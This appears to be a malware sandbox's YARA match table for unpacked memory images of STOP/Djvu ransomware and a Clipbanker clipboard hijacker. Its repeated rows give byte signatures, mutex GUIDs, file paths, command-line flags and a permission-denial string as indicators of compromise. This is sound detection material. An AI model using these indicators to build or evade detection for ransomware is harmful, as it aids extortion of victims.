1.0.U59WtZz2Sg.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
6.0.U59WtZz2Sg.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
11.0.build3.exe.b90000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.0.build3.exe.b90000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.0.build3.exe.b90000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 B9 00 6A 00 6A 00 FF 15 40 40 B9 00 FF 15 2C 40 B9 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 B9 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 B9 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
6.0.U59WtZz2Sg.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
6.2.U59WtZz2Sg.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
6.2.U59WtZz2Sg.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.U59WtZz2Sg.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.U59WtZz2Sg.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
3.2.U59WtZz2Sg.exe.21e15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.U59WtZz2Sg.exe.22215a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
0.2.U59WtZz2Sg.exe.22215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.U59WtZz2Sg.exe.22215a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0.2.U59WtZz2Sg.exe.22215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.0.U59WtZz2Sg.exe.400000.6.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.6.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.6.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.6.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.U59WtZz2Sg.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
1.2.U59WtZz2Sg.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.U59WtZz2Sg.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.2.U59WtZz2Sg.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
